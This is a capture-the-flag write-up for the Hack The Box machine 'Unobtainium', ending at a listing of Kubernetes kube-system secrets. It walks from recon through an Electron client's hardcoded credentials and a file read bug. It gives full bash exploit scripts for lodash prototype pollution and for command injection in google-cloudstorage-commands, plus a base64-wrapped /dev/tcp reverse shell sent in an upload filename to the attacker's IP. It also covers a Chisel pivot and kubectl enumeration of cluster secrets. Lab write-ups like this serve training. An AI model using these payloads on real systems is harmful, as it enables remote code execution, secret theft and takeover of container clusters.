Hackthebox Unobtainium writeup

FreakyDodo
18 min readSep 29, 2021

Hey Hackers!!

Below is the writeup for Hackthe box machine Unobtainium.

Recon

Nmap

┌───[us-free-1]─[10.10.14.81]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ nmap -sC -sV -p- -oA nmap/result 10.10.10.235
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-28 08:57 CDT
Nmap scan report for 10.10.10.235
Host is up (0.22s latency).
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e4:bf:68:42:e5:74:4b:06:58:78:bd:ed:1e:6a:df:66 (RSA)
| 256 bd:88:a1:d9:19:a0:12:35:ca:d3:fa:63:76:48:dc:65 (ECDSA)
|_ 256 cf:c4:19:25:19:fa:6e:2e:b7:a4:aa:7d:c3:f1:3d:9b (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
2379/tcp open ssl/etcd-client? syn-ack ttl 63
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=etcd-ca
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T07:10:30
| Not valid after: 2022-01-17T07:10:30
| MD5: bf49 c77d 7900 011e 603c 26f5 9620 af5d
|_SHA-1: 3ad8 d245 3655 0459 3cae 0454 0992 b85d c7ca 7531
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
| tls-nextprotoneg:
|_ h2
2380/tcp open ssl/etcd-server? syn-ack ttl 63
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:localhost, DNS:unobtainium, IP Address:10.10.10.3, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Issuer: commonName=etcd-ca
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T07:10:30
| Not valid after: 2022-01-17T07:10:30
| MD5: f920 4337 4559 aad2 fd5c 41bf 0b9c 827c
|_SHA-1: 729f 3481 33c5 eaba 5922 1b34 8bb8 e052 a107 a521
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
| tls-nextprotoneg:
|_ h2
8443/tcp open ssl/https-alt syn-ack ttl 63
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Mon, 12 Apr 2021 02:52:45 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Mon, 12 Apr 2021 02:52:44 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: 3082aa7f-e4b1-444a-a726-829587cd9e39
| X-Kubernetes-Pf-Prioritylevel-Uid: c4131e14-5fda-4a46-8349-09ccbed9efdd
| Date: Mon, 12 Apr 2021 02:52:44 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.10.235, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Issuer: commonName=minikubeCA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T02:30:32
| Not valid after: 2022-04-12T02:30:32
| MD5: 3f48 15e8 7ed6 560f e45f d2f3 5b2d e71a
|_SHA-1: f127 e2d1 e333 541d 2016 9025 2c1b c9b3 7a87 c2e7
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
10249/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open ssl/http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=unobtainium@1610865428
| Subject Alternative Name: DNS:unobtainium
| Issuer: commonName=unobtainium-ca@1610865428
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-17T05:37:08
| Not valid after: 2022-01-17T05:37:08
| MD5: fa5f 3f5c 5f93 30d2 5105 2aad 71a4 96f6
|_SHA-1: d67f 5a73 83b7 2393 1612 e88a 12c5 6bf1 9552 36b3
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
10256/tcp open http syn-ack ttl 63 Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
31337/tcp open http syn-ack ttl 62 Node.js Express framework
| http-methods:
| Supported Methods: GET HEAD PUT DELETE POST OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).

Copy

There is a lot’s of ports open

Let’s start with port-80

Port-80

There is a simple html page.

Let’s download the .deb package because i am using parrot-os.

Unzip the file we got .deb package.

Let’s extract the files inside .deb package without installing them.

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$ ls
unobtainium_1.0.0_amd64.deb unobtainium_1.0.0_amd64.deb.md5sum unobtainium_debian.zip
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$ mkdir stuff
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$ dpkg-deb -xv unobtainium_1.0.0_amd64.deb stuff
./
./usr/
./usr/share/
./usr/share/icons/
./usr/share/icons/hicolor/
./usr/share/icons/hicolor/32x32/
./usr/share/icons/hicolor/32x32/apps/
./usr/share/icons/hicolor/32x32/apps/unobtainium.png
./usr/share/icons/hicolor/48x48/
./usr/share/icons/hicolor/48x48/apps/
./usr/share/icons/hicolor/48x48/apps/unobtainium.png
./usr/share/icons/hicolor/256x256/
./usr/share/icons/hicolor/256x256/apps/
./usr/share/icons/hicolor/256x256/apps/unobtainium.png
./usr/share/icons/hicolor/128x128/
./usr/share/icons/hicolor/128x128/apps/
./usr/share/icons/hicolor/128x128/apps/unobtainium.png
./usr/share/icons/hicolor/64x64/
./usr/share/icons/hicolor/64x64/apps/
./usr/share/icons/hicolor/64x64/apps/unobtainium.png
./usr/share/icons/hicolor/16x16/
./usr/share/icons/hicolor/16x16/apps/
./usr/share/icons/hicolor/16x16/apps/unobtainium.png
./usr/share/applications/
./usr/share/applications/unobtainium.desktop
./usr/share/doc/
./usr/share/doc/unobtainium/
./usr/share/doc/unobtainium/changelog.gz
./opt/
./opt/unobtainium/
./opt/unobtainium/libvulkan.so
./opt/unobtainium/chrome_100_percent.pak
./opt/unobtainium/unobtainium
./opt/unobtainium/libffmpeg.so
./opt/unobtainium/snapshot_blob.bin
./opt/unobtainium/v8_context_snapshot.bin
./opt/unobtainium/vk_swiftshader_icd.json
./opt/unobtainium/LICENSE.electron.txt
./opt/unobtainium/locales/
./opt/unobtainium/locales/th.pak
./opt/unobtainium/locales/da.pak
./opt/unobtainium/locales/gu.pak
./opt/unobtainium/locales/ro.pak
./opt/unobtainium/locales/it.pak
./opt/unobtainium/locales/fil.pak
./opt/unobtainium/locales/fi.pak
./opt/unobtainium/locales/ml.pak
./opt/unobtainium/locales/hu.pak
./opt/unobtainium/locales/id.pak
./opt/unobtainium/locales/zh-CN.pak
./opt/unobtainium/locales/bg.pak
./opt/unobtainium/locales/hi.pak
./opt/unobtainium/locales/sk.pak
./opt/unobtainium/locales/fr.pak
./opt/unobtainium/locales/mr.pak
./opt/unobtainium/locales/et.pak
./opt/unobtainium/locales/kn.pak
./opt/unobtainium/locales/ar.pak
./opt/unobtainium/locales/he.pak
./opt/unobtainium/locales/sv.pak
./opt/unobtainium/locales/en-GB.pak
./opt/unobtainium/locales/cs.pak
./opt/unobtainium/locales/te.pak
./opt/unobtainium/locales/el.pak
./opt/unobtainium/locales/pt-PT.pak
./opt/unobtainium/locales/hr.pak
./opt/unobtainium/locales/ru.pak
./opt/unobtainium/locales/ca.pak
./opt/unobtainium/locales/es.pak
./opt/unobtainium/locales/sw.pak
./opt/unobtainium/locales/uk.pak
./opt/unobtainium/locales/fa.pak
./opt/unobtainium/locales/ko.pak
./opt/unobtainium/locales/es-419.pak
./opt/unobtainium/locales/vi.pak
./opt/unobtainium/locales/lv.pak
./opt/unobtainium/locales/zh-TW.pak
./opt/unobtainium/locales/pl.pak
./opt/unobtainium/locales/pt-BR.pak
./opt/unobtainium/locales/sl.pak
./opt/unobtainium/locales/nl.pak
./opt/unobtainium/locales/ja.pak
./opt/unobtainium/locales/sr.pak
./opt/unobtainium/locales/am.pak
./opt/unobtainium/locales/bn.pak
./opt/unobtainium/locales/ms.pak
./opt/unobtainium/locales/nb.pak
./opt/unobtainium/locales/tr.pak
./opt/unobtainium/locales/de.pak
./opt/unobtainium/locales/ta.pak
./opt/unobtainium/locales/en-US.pak
./opt/unobtainium/locales/lt.pak
./opt/unobtainium/chrome-sandbox
./opt/unobtainium/libEGL.so
./opt/unobtainium/resources/
./opt/unobtainium/resources/app.asar
./opt/unobtainium/chrome_200_percent.pak
./opt/unobtainium/libGLESv2.so
./opt/unobtainium/swiftshader/
./opt/unobtainium/swiftshader/libEGL.so
./opt/unobtainium/swiftshader/libGLESv2.so
./opt/unobtainium/resources.pak
./opt/unobtainium/icudtl.dat
./opt/unobtainium/LICENSES.chromium.html
./opt/unobtainium/libvk_swiftshader.so
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$ ls
stuff unobtainium_1.0.0_amd64.deb unobtainium_1.0.0_amd64.deb.md5sum unobtainium_debian.zip
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web]
└──╼ [★]$ cd stuff/
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web/stuff]
└──╼ [★]$ ls
opt usr

Copy

Inside stuff/opt/unobtainium/ there is a executable called unobtainium

Let’s run that

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web/stuff/opt/unobtainium]
└──╼ [★]$ pwd
/root/Desktop/HTB/Unobtainium/web/stuff/opt/unobtainium
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web/stuff/opt/unobtainium]
└──╼ [★]$ ls
chrome_100_percent.pak icudtl.dat libGLESv2.so LICENSE.electron.txt resources swiftshader vk_swiftshader_icd.json
chrome_200_percent.pak libEGL.so libvk_swiftshader.so LICENSES.chromium.html resources.pak unobtainium
chrome-sandbox libffmpeg.so libvulkan.so locales snapshot_blob.bin v8_context_snapshot.bin
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium/web/stuff/opt/unobtainium]
└──╼ [★]$ ./unobtainium --no-sandbox
(node:8364) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron. See https://github.com/electron/electron/issues/23506 for more information

Copy

We got the error Unable to reach unobtainium.htb.

Let’s add unobtainium.htb in our /etc/hosts file.

Let’s again open the executable and this time we don't get error.

I think this executable contact to a server so for capture the packet i use wireshark on tun0.

And i am right when i click on Todo they send a POST req to the server.

Let’s check what was capture inside this POST req.

POST /todo HTTP/1.1Host: unobtainium.htb:31337Connection: keep-aliveContent-Length: 73Accept: application/json, text/javascript, \*/\*; q=0.01User-Agent: Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: en-US{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}HTTP/1.1 200 OKX-Powered-By: ExpressContent-Type: application/json; charset=utf-8Content-Length: 293ETag: W/"125-tNs2+nU0UiQGmLreBy4Pj891aVA"Date: Sat, 17 Apr 2021 04:41:15 GMTConnection: keep-aliveKeep-Alive: timeout=5{"ok":true,"content":"1. Create administrator zone.\\n2. Update node JS API Server.\\n3. Add Login functionality.\\n4. Complete Get Messages feature.\\n5. Complete ToDo feature.\\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json\_api/v1\\n7. Improve security\\n"}

Copy

We got the creads.

It’s seems like Todo function has the capability to read files from the server.

For the simplicity i wrote a script to check if we also read file from the server?.

I also run the burp for capture the req.

Before running the script install the requirements for the script.

apt-get install jq

Copy

dedsec.sh

#!/bin/bashRHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE=$1
cat - <<EOF > message.json
{
"auth":
{
"name":"felamos",
"password":"Winter2021"
},
"filename":"${FILE}"
}
EOF
CONTENT="$(curl -s \
-A "${UA}" \
-H "Content-Type: application/json" \
-d "$(cat message.json | jq -c)" \
-x "${PROXY}" \
http://${RHOST}:${RPORT}/todo \
| jq .content \
| sed -e 's/^.//' -e 's/.$//')"
printf "$CONTENT"

Copy

Got the req let's send it to repeater and check the responce.

It’s said No such file or directory found because we don't give any filename and we also see a interesting file called index.js.

Let’s add index.js inside filename.

We got the index.js but it in bad format.

After Beautify the file we got this.

Index.js

var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
let messages = [];
let lastId = 1;
function findUser(auth) {
return users.find((u) =>
u.name === auth.name &&
u.password === auth.password);
}
app.use(bodyParser.json());app.get('/', (req, res) => {
res.send(messages);
});
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = {
icon: '__',
};
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});
});
app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});
app.listen(3000);
console.log('Listening on port 3000...');

Copy

After reading the file i found nothing interesting but i am sure that it's using react or nodejs or something like that if the server uses that so there is a file called package.json which has the list of npm packages used and we also find vulnerability for that specific packages.

After beautify the package.json and we got this

package.json

{
"name": "Unobtainium-Server",
"version": "1.0.0",
"description": "API Service for Electron client",
"main": "index.js",
"scripts": {
"start": "node index.js"
},
"author": "felamos",
"license": "ISC",
"dependencies": {
"body-parser": "1.18.3",
"express": "4.16.4",
"lodash": "4.17.4",
"google-cloudstorage-commands": "0.0.1"
},
"devDependencies": {}
}

Copy

Lodash : Prototype Pollution

google-cloudstorage-commands : Command Injection

With the help of Lodash -> Prototype Pollution we give ourself a permission of upload & delete with changing canDelete and canUpload to be True.

And with help of google-cloudstorage-commands -> Command Injection We can execute commands on server.

So let’s first give ourself a permission to upload file and delete files

For that i create a script to keep things simple.

Exploit.sh

#!/bin/bashRHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
TEXT="$1"
cat - <<EOF > message.json
{
"auth":
{
"name":"felamos",
"password":"Winter2021"
},
"message":
{
"text":${TEXT}
}
}
EOF
curl -s \
-X PUT \
-A "${UA}" \
-H "Content-Type: application/json" \
-d "$(cat message.json | jq -c)" \
-x "${PROXY}" \
"http://${RHOST}:${RPORT}/" \
| jq .

Copy

Let’s run the exploit

Imp -> before running the exploit intercept the request and forward the req becuase we use proxy inside exploit.

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ chmod +x exploit.sh
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ ./exploit.sh '{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}'
{
"ok": true
}
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$

Copy

It’s responce is true means now we have the permission.

Let’s check we can write in a file or not.

I create another one exploit to write in a file.

exploit_stage2.sh

#!/bin/bashRHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE="& echo dedsec | tee dedsec.txt"
cat - <<EOF > message.json
{
"auth":
{
"name":"felamos",
"password":"Winter2021"
},
"filename":"${FILE}"
}
EOF
curl -s \
-A "${UA}" \
-H "Content-Type: application/json" \
-d "$(cat message.json | jq -c)" \
-x "${PROXY}" \
-o /dev/null \
"http://${RHOST}:${RPORT}/upload"

Copy

The exploit write the content "dedsec" inside dedsec.txt.

Now let’s run the exploit and capture the req in burp.

It’s said true. it's means we should be able to read dedsec.txt and get the content dedsec inside dedsec.txt.

Just change filename to dedsec.txt for view the content inside that.

And we see dedsec inside dedsec.txt Now let's try to get reverse shell through that.

Just add the reverse shell inside filename.

Before send req start your netcat listner.

POST /upload HTTP/1.1
Host: unobtainium.htb:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Content-Type: application/json
Content-Length: 151
Connection: close
{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo $(echo 'bash -i >& /dev/tcp/10.10.14.12/9001 0>&1' | base64) | base64 -d | bash"}

Copy

Let’s check the netcat listner.

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ nc -nvlp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.235.
Ncat: Connection from 10.10.10.235:34380.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app# id
id
uid=0(root) gid=0(root) groups=0(root)
root@webapp-deployment-5d764566f4-lrpt9:/usr/src/app#

Copy

Boom we got the shell.

First Let’s get our user.txt inside /root/.

Privilege escalation

And if you notice we are root i think it's a docker container.

Anyway let’s run linpeas.

there is a cronjob running that removes kubectl in the container every minute.

But there is no kubectl executable in the container.

Let’s download a kubectl executable and transfer it in docker inside /tmp folder.

Link : Install kubectl binary with curl on Linux

We change the name of kubectl to xkubectl to avoid being removed by the cron job.

Now let’s first check the version of kubectl.

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl version --short
Client Version: v1.21.0
Server Version: v1.20.0
root@webapp-deployment-5d764566f4-mbprj:/#

Copy

Now let’s see current rights with kubectl with privileged resources like secrets.

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl auth can-i list secrets
no
root@webapp-deployment-5d764566f4-mbprj:/#

Copy

let’s check about namespaces.

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl auth can-i list namespaces
Warning: resource 'namespaces' is not namespace scoped
yes
root@webapp-deployment-5d764566f4-mbprj:/#

Copy

Let’s list all the namespaces.

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl get namespace             
NAME STATUS AGE
default Active 90d
dev Active 89d
kube-node-lease Active 90d
kube-public Active 90d
kube-system Active 90d
root@webapp-deployment-5d764566f4-mbprj:/#

Copy

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl auth can-i list secrets -n dev
no
root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl auth can-i list secrets -n kube-system
no

Copy

We don’t have permission of any namespaces.

Let’s check if we have permission of pods or not in the dev namespaces.

root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl auth can-i list pods -n dev
yes
root@webapp-deployment-5d764566f4-mbprj:/# /tmp/xkubectl get pods -n dev
NAME READY STATUS RESTARTS AGE
devnode-deployment-cd86fb5c-6ms8d 1/1 Running 28 89d
devnode-deployment-cd86fb5c-mvrfz 1/1 Running 29 89d
devnode-deployment-cd86fb5c-qlxww 1/1 Running 29 89d
root@webapp-deployment-5d764566f4-mbprj:/#

Copy

Link : Pods

A Kubernetes cluster can have one or more nodes. Each node can have one or more Pods. Each Pod can have one or more running containers.

And we see in the previous command there is three Pods each with a running container in the dev namespace.

Let’s list the description of one of the Pods.

root@webapp-deployment-5d764566f4-lrpt9:/# /tmp/xkubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
Name: devnode-deployment-cd86fb5c-6ms8d
Namespace: dev
Priority: 0
Node: unobtainium/10.10.10.235
Start Time: Sun, 17 Jan 2021 18:16:21 +0000
Labels: app=devnode
pod-template-hash=cd86fb5c
Annotations: <none>
Status: Running
IP: 172.17.0.4
IPs:
IP: 172.17.0.4
Controlled By: ReplicaSet/devnode-deployment-cd86fb5c
Containers:
devnode:
Container ID: docker://fed5d9bb3199fbca3f8ad70377a9f9a65c8e55b4eea52d97b429347ad68202dc
Image: localhost:5000/node_server
Image ID: docker-pullable://localhost:5000/node_server@sha256:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c
Port: 3000/TCP
Host Port: 0/TCP
State: Running
Started: Thu, 15 Apr 2021 05:04:44 +0000
Last State: Terminated
Reason: Error
Exit Code: 137
Started: Wed, 24 Mar 2021 16:01:28 +0000
Finished: Wed, 24 Mar 2021 16:02:13 +0000
Ready: True
Restart Count: 28
Environment: <none>
Mounts:
/var/run/secrets/kubernetes.io/serviceaccount from default-token-rmcd6 (ro)
Conditions:
Type Status
Initialized True
Ready True
ContainersReady True
PodScheduled True
Volumes:
default-token-rmcd6:
Type: Secret (a volume populated by a Secret)
SecretName: default-token-rmcd6
Optional: false
QoS Class: BestEffort
Node-Selectors: <none>
Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events: <none>

Copy

If you notice the difference i am in a webapp-deployment container enumerating devnode-deployment containers in Pods running in the dev namespace.

We are looking at two different environments, the classic production environment and the development environment. I should be able to repeat the steps i just have to make the RHOST and RPORT variables and upload them to the container I’m currently in above to get another foothold in the development environment.

For that we need to forward the port to the devnode-deployment container "172.17.0.4:3000"

I am using Chisel for that.

If you don’t known how to use chisel or how to download it check this out.

Link : Chisel

First i run chisel in my parrot os to open a server.

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[/opt/chisel/linux]
└──╼ [★]$ ./chisel server -p 9999 --reverse
2021/04/17 03:35:08 server: Reverse tunnelling enabled
2021/04/17 03:35:08 server: Fingerprint aKyrwTTxlfOA+sBiTfpCMn++HxJrJUPZibazBNhgrLs=
2021/04/17 03:35:08 server: Listening on http://0.0.0.0:9999

Copy

Now transfer the chisel in box and and execute as client.

root@webapp-deployment-5d764566f4-mbprj:/tmp# ls
chisel f v8-compile-cache-0 xkubectl
root@webapp-deployment-5d764566f4-mbprj:/tmp# chmod +x chisel
root@webapp-deployment-5d764566f4-mbprj:/tmp# ./chisel client 10.10.14.12:9999 R:3000:172.17.0.4:3000
2021/04/17 08:46:38 client: Connecting to ws://10.10.14.12:9999
2021/04/17 08:46:40 client: Connected (Latency 234.18646ms)

Copy

Now we are connected let's give us permission for canDelete and canUpload.

I again made the script for give permissions devnode-deployment container.

read_write.sh

#!/bin/bashRHOST="127.0.0.1"
RPORT=3000
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
TEXT="$1"
cat - <<EOF > message.json
{
"auth":
{
"name":"felamos",
"password":"Winter2021"
},
"message":
{
"text":${TEXT}
}
}
EOF
curl -s \
-X PUT \
-A "${UA}" \
-H "Content-Type: application/json" \
-d "$(cat message.json | jq -c)" \
-x "${PROXY}" \
"http://${RHOST}:${RPORT}/" \
| jq .

Copy

Imp -> before running the exploit intercept the request and forward the req becuase we use proxy inside exploit.

Now we all set let’s run the exploit.

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ ./read_write.sh '{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}'
{
"ok": true
}

Copy

For reverse shell i create another script.

rev.sh

#!/bin/bashRHOST="127.0.0.1"
RPORT=3000
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE=$1
cat - <<EOF > message.json
{
"auth":
{
"name":"felamos",
"password":"Winter2021"
},
"filename":"${FILE}"
}
EOF
curl -s \
-A "${UA}" \
-H "Content-Type: application/json" \
-d "$(cat message.json | jq -c)" \
-x "${PROXY}" \
-o /dev/null \
"http://${RHOST}:${RPORT}/upload"

Copy

Now let’s get our reverse shell with devnode-deployment.

┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ chmod +x rev.sh
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$ ./rev.sh "& echo $(echo 'bash -i >& /dev/tcp/10.10.14.12/9002 0>&1' | base64) | base64 -d | bash"
┌───[us-free-1]─[10.10.14.12]─[root@parrot]─[~/Desktop/HTB/Unobtainium]
└──╼ [★]$

Copy

Boom we got the shell as devnode-deployment.

Now again tranfer the kubectl executable in the box and check if we list secrets now.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# ls
kubectl v8-compile-cache-0
root@devnode-deployment-cd86fb5c-qlxww:/tmp# chmod +x kubectl
root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl auth can-i list secrets -n kube-system
yes
root@devnode-deployment-cd86fb5c-qlxww:/tmp#

Copy

Yes we have the permission now Let get the secrets.

root@devnode-deployment-cd86fb5c-qlxww:/tmp# /tmp/kubectl get secrets -n kube-system            
NAME TYPE DATA AGE
attachdetach-controller-token-5dkkr kubernetes.io/service-account-token 3 90d
bootstrap-signer-token-xl4lg kubernetes.io/service-account-token 3 90d
c-admin-token-tfmp2 kubernetes.io/service-account-token 3 89d
certificate-controller-token-thnxw kubernetes.io/service-account-token 3 90d
clusterrole-aggregation-controller-token-scx4p kubernetes.io/service-account-token 3 90d
coredns-token-dbp92 kubernetes.io/service-account-token 3 90d
cronjob-controller-token-chrl7 kubernetes.io/service-account-token 3 90d
daemon-set-controller-token-cb825 kubernetes.io/service-account-token 3 90d
default-token-l85f2 kubernetes.io/service-account-token 3 90d
deployment-controller-token-cwgst kubernetes.io/service-account-token 3 90d
disruption-controller-token-kpx2x kubernetes.io/service-account-token 3 90d
endpoint-controller-token-2jzkv kubernetes.io/service-account-token 3 90d
endpointslice-controller-token-w4hwg kubernetes.io/service-account-token 3 90d
